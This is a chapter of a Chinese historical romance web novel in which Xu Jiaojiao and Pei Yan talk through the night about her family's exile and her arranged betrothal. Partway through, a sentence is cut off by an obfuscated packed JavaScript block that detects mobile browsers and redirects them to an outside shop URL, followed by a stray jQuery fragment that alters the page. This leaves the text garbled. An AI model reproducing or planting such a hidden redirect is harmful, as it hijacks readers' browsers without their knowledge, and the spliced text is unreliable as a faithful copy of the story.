许娇娇不知道自己是什么时候睡着的。
醒来时,窗外已是一片漆黑。她躺在床上,望着头顶陌生的房梁,听着隔壁静心均匀的呼吸声,心里空落落的。
她翻了个身,把那块玉佩从枕下摸出来,握在手心。
玉佩温温的,像那个人给她的温度。
可那温度,还能留多久?
门外忽然传来轻轻的叩门声。
许娇娇心头一跳,坐起身来。
“谁?”
“是我。”
那个声音低低的,隔着门板传来,却像一记重锤,狠狠砸在她心上。
是他。
许娇娇握着玉佩的手猛地收紧。她张了张嘴,想说什么,却发现自己一个字都说不出来。
门外沉默了一瞬,那声音又响起,比方才更轻了些:“我知道你醒了。开门,可好?”
许娇娇深吸一口气,起身披上外衣,走到门边。
手搭在门闩上,她却犹豫了。
开了门,说什么?问他为什么定了亲还来找她?还是装作什么都不知道,像从前那样笑着叫他“裴安抚”?
可若不开门……
门外的人似乎猜到了她的犹豫,轻声道:“你若不开,我就一直等。”
许娇娇咬了咬唇,终于把门拉开。
月光下,裴宴站在门外。
他瘦了。
这是许娇娇的第一眼印象。那张原本棱角分明的脸,此刻更清减了几分,下颌的线条愈发分明。眼下有些青黑,像是许久不曾安睡。身上的玄色氅衣还带着夜露的微凉。
可他在笑。
弯着嘴角,眉眼柔和,看着她的目光,和从前一模一样。
许娇娇忽然觉得眼眶有些发酸。
“你……”她开口,声音有些哑,“你怎么来了?”
裴宴看着她,没有说话。他的目光从她脸上缓缓滑过,像是要把她看个够。末了,他轻声道:“瘦了。”
就两个字,许娇娇的眼泪差点掉下来。
她侧过身,让开门口:“进来说吧。”
屋里点起一盏油灯,昏黄的光晕在两人之间摇曳。
裴宴在桌边坐下,许娇娇坐在他对面,隔着那一小片光亮,谁也没有先开口。
屋外,夜风吹过,有微凉的夜风穿过门缝。许娇娇拉了拉衣襟,裴宴起身,将身上的大氅解下来披在她肩上。
“夜里寒,披着。”
一股云头香的味道混合着他的体温瞬间将她包裹,许娇娇身子一僵。那肩头轻微的温热触感只停留了一瞬,他便退开了。
可她的心跳,却怎么也慢不下来。
远处传来更鼓声,一下,两下,三下。三更天了。
“你……”
“我……”
两人同时开口,又同时停住。
裴宴弯了弯嘴角,抬手示意她先说。
许娇娇抿了抿唇,却发现自己不知从何说起。想问的话太多,想问的事太多,堵在喉咙里,一个字都挤不出来。
最后还是裴宴先开了口。
“这些日子,我一直在查你阿爹的事。”
他从怀中取出一本薄册,放在桌上。那册子比许娇娇那本厚些,边角已经磨得发毛,显然是翻过无数遍了。
“你阿爹本名许怀瑾,是太医院医正许怀瑜的胞弟。许家祖上三代御医,在京城也算小有名气。你祖父许铭,曾为先帝诊过病,御赐过‘妙手回春’的金匾。”
许娇娇静静地听着,手指却悄悄攥紧了袖口。
“二十年前那桩巫蛊案,你伯父许怀瑜被牵连。当时有人告发他,说他以巫蛊之术诅咒太子。也就是当今圣上。案子审得急,判得快,许怀瑜被革职拿问,流放岭南三千里。许家一门,就此散了。”
裴宴的声音不高,却字字清晰。许娇娇听得心惊。
“你阿爹当时在京外行医,听到消息后,连夜带着你阿娘逃了。他不敢回京,不敢露面,一路南下,最后躲进了落溪村那样的深山老林里,隐姓埋名,一躲就是十几年。”
许娇娇低下头,看着桌上那盏油灯。火苗轻轻跳动,在眼前晃成一片模糊的光晕。
她想起阿爹的医案,想起那些龙飞凤舞的字迹,想起那句“一朝蒙冤久,何日得天顾”。原来,那个“冤”字,是这样来的。
“后来呢?”她的声音很轻,在夜色下显得十分虚浮。
裴宴沉默了一瞬,才道:“后来,圣上登基,大赦天下。你伯父遇赦,从岭南回来了。”
许娇娇心中暗忖,阿爹收到的书信,估摸着就是那时候伯父写给他的。但是不知为何,阿爹却没有选择回京。明明已经赦免了。她心中疑惑,却没问出来。
“他回来了?那他现在……”
“不知道。”裴宴摇了摇头,“他回来后,曾在京西柳树胡同置了一处宅子,住了一两年。但后来不知为何,又离开了。我让人去柳树胡同查过,邻居说,那宅子后来转卖给了一个姓陆的人家。许怀瑜从此不知所踪。”
姓陆的人家。
许娇娇心头一跳。
陆。
她想起阿爹簿子上那个名字:“京西,柳树胡同第七家,陆青山。故交,可托。”
原来,那个宅子,是伯父卖给陆家的。
“那个姓陆的,”她问,“叫陆青山?”
裴宴看着她,目光里闪过一丝复杂的情绪。
“你知道他?”
许娇娇没有回答,只是从怀中取出那本薄册,放在桌上。
裴宴疑惑,抬头看她。
“这是我阿爹的簿子。”许娇娇解释了一句。
裴宴接过,一页页翻看。翻到“陆青山”那一页时,他的手指微微一顿。
“故交,可托。”他轻声念出那行字,抬起头,看着许娇娇,“你阿爹和陆青山是故交?”
许娇娇点点头,又摇摇头。
“我不知道。阿爹的簿子上这么写的。还有……”她顿了顿,声音低了下去,“后面还有一行。”
裴宴翻到下一页,目光定住了。
那页只有几行字:
“陆青山,流放岭南后遇赦,曾与兄同返京城。其人有子,名昭,比杏儿大五岁。流放途中,兄言与杏儿保了一媒,乃陆兄之子昭,称其子昭为人端方正直,品行优良,兄十分喜爱,便与陆兄割玉为誓,约为婚姻。玉分两半,各执其一。只是,杏儿自出生便有宿疾,曾欲与兄言及,只恐累及杏儿名声,有所隐瞒。如今想来尚觉惭愧,若日后杏儿进京,陆家愿意相认则罢。若不愿相认,也不必强求。”
裴宴看着那几行字,久久没有说话。
烛光在他脸上跳跃,明明灭灭的,看不清表情。
许娇娇低下头,不敢看他。
她知道他看见了什么。知道他在想什么。可她能说什么?说那是父母之命,她也没办法?说她根本没见过那个陆昭,根本不认识他?
可她说不出口。
因为那是真的。
她确实有个未婚夫,叫陆昭。是她伯父在流放途中,给她定的亲。
“你……”裴宴终于开口,声音有些涩,“见过他了?”
许娇娇摇头:“没有。”
裴宴沉默了一会儿,把薄册合上,放回桌上。
“我查到了陆青山。”他的声音恢复了平静,却透着一丝不易察觉的生涩,“前些年他确实在京西柳树胡同住着,一直赋闲在家。当年的案子虽已平反,他却心灰意冷,不愿再出仕。只是,两三年前他已经过世了。”
“陆伯父已经过,过世了?那......陆昭呢?”许娇娇有些惊疑。
裴宴看着她,目光里有暗芒闪过。
“他在。陆青山只有这一个儿子,原先一直带在身边。如今,柳树胡同就他和两个老仆在。”
许娇娇的手微微颤了颤。
他在。
那个和她有婚约的人,就在这座城里。
“还有一件事。”裴宴道,“你伯父许怀瑜,听说后来又回到了岭南。我让人去查过,有人说在岭南见过他,他隐姓埋名,在一个小镇上行医度日。但具体在哪儿,还没查到。”
许娇娇听着,心里说不出是什么滋味。
伯父还活着。这是好事。
可他在岭南,她在京城,隔着千山万水,什么时候才能见到?
“多谢你。”她轻声道,“替我查了这么多。”
裴宴摇摇头,没有说话。
屋里又沉默下来。
烛火摇曳,在两人之间投下忽明忽暗的光影。远处传来更鼓声,四更天了。
许娇娇垂着眼,看着桌上那两本薄册。一本是阿爹的,一本是他的。两本册子并排放在一起,像两个人在对视。
她忽然想问他:你定了亲,是真的吗?
可话到嘴边,又咽了回去。
她不敢问。
怕问了,他会说是真的。怕他说了,她不知道怎么接。怕她所有的期待,在这一刻,都变成笑话。
可她不知道,裴宴心里,也藏着同样的问题。
赵斌查许怀瑾的案子,查来查去,查到了陆青山,又查到了陆青山的儿子陆昭。那半块玉佩的事,他也查到了。
原来,她有婚约在身。
原来,那个叫陆昭的人,才是她名正言顺的未婚夫。
那自己呢?
自己算什么呢?
他看着她低垂的眉眼,看着她微微颤抖的睫毛,看着她抿紧的唇角。他想问她:你知道那个陆昭吗?你见过他吗?你……心里有没有他?
可他也问不出口。
怕问了,她说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17435149|197528||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有。怕她说了,他不知道该怎么办。怕他所有的期待,在这一刻,都变成笑话。
两人就这样对坐着,谁也没有说话。
烛火燃尽了一截,光暗了些。裴宴伸手拨了拨灯芯,火光又亮起来,照在许娇娇脸上。
她抬起头,正对上他的目光。
四目相对。
那一瞬间,许娇娇忽然想哭。
他的眼睛还是那双眼睛,深邃,沉静,像一潭深水。
“你……”她终于开口,声音涩得厉害,“你瘦了很多。”
裴宴弯了弯嘴角,那笑容里带着几分疲惫,几分温柔。
“你也是。”
许娇娇看着他,忽然想起方才开门时,他说的第一句话。
“你若不开,我就一直等。”
她那时不懂他为什么这么说。可此刻,看着他眼下那片青黑,看着他清减的面容,她忽然懂了。
他在等。
等她来京城,等她安顿下来,等她想清楚要不要见他。
就像她也在等。
等他来找她,等他把一切告诉她,等他……给她一个答案。
可他们等到的,却是这样一个沉默的夜。
“我……”她张了张嘴,想说什么,却发现千言万语堵在喉咙里,一个字都说不出来。
裴宴看着她,忽然伸出手,轻轻覆在她放在桌上的手上。
那只手温热,带着他掌心的温度。
许娇娇一颤,却没有躲开。
“什么都别说。”他的声音很低,像怕惊着什么,“今晚,就这样坐着就好。”
许娇娇看着他,眼眶忽然热了。
她点点头,没有说话。
就这样,两人对坐着,手覆着手,谁也没有再开口。
窗外,月光渐渐淡去,天边泛起鱼肚白。更鼓敲了五下,夜尽了。
裴宴轻轻抽回手,站起身。
“天快亮了。我该走了。”
许娇娇跟着站起来,想说什么,却只是点了点头。
裴宴走到门口,忽然停下脚步,回过头。
“许家的事,我会继续查。你伯父的下落,我也会让人去找。至于其他的……”他顿了顿,看着她,“等你准备好了,我们再说。”
许娇娇看着他,眼泪终于落了下来。
她没有擦,就那么看着他,点点头。
裴宴弯了弯嘴角,上前一步,伸出指腹替她拭去腮边的泪痕。
“别哭。”他的声音轻柔,含着一抹哄劝,“会有办法的。你早些睡,别想太多,万事有我。”
许娇娇眼泪流得更凶了。她也不知为什么,那眼泪跟不要钱似的,止也止不住。
他似乎无奈地笑了一下,将她轻轻揽入怀中。她的脸贴着他的胸口,温热而坚实,隔着衣料能听见他沉稳的心跳。
竟又打湿了他的前襟。
“怎么这么爱哭?”他又轻叹一声,声音里带着几分无奈的笑意,“这可不像我认识的许大夫。”
他竟然打趣她。
她轻轻捶了捶他的胸口,低声啜泣。
他拥着她静默片刻,直到她的啜泣声逐渐消失,他才松开手臂,抬起她的脸仔细端详。
“看看,眼睛都肿了。”他的声音轻轻的,带着心疼。
许娇娇有些难为情地扭开脸,后退两步,和他拉开距离。她低头擦了擦眼睛,深吸一口气。
“对不起。”她低声道歉,“我失态了。我没事,就是心里有些难受。你放心,我心里有数。”她重新抬起头,认真看着他的眼睛,“我会处理好自己的事,绝不给你添乱。”
“你没有给我添乱。”他也认真看着她,语气无比珍重,“就算你给我添乱,也不打紧。我说过,万事有我。你只管好好的,就好。”
然后,他转身推开门。
“我走了,你早些安置。”
许娇娇站在门口,看着他的背影走进晨曦里。
走出几步,她才猛地想起,她还披着那件大氅!
她忙追上前几步,急声喊:“你的披风!外面寒气重,小心着凉——”
可他已走远了。那玄色的身影渐渐融入晨雾,消失在巷子尽头,没有回头。
晨风吹过,带着初春的凉意。她抱着那件还带着他体温的大氅,站在那里,久久没有动。
大氅上,那股淡淡的云头香还未散尽,萦绕在她鼻端,像他还在身边。
不知过了多久,身后传来轻轻的脚步声。
静尘不知什么时候醒了,披着外衣站在她身后,轻声道:“他走了?”
许娇娇点点头。
静尘看着她脸上的泪痕,没有问,只是轻轻揽住她的肩。
“进去吧,外面凉。”
许娇娇靠在静尘肩上,轻轻“嗯”了一声。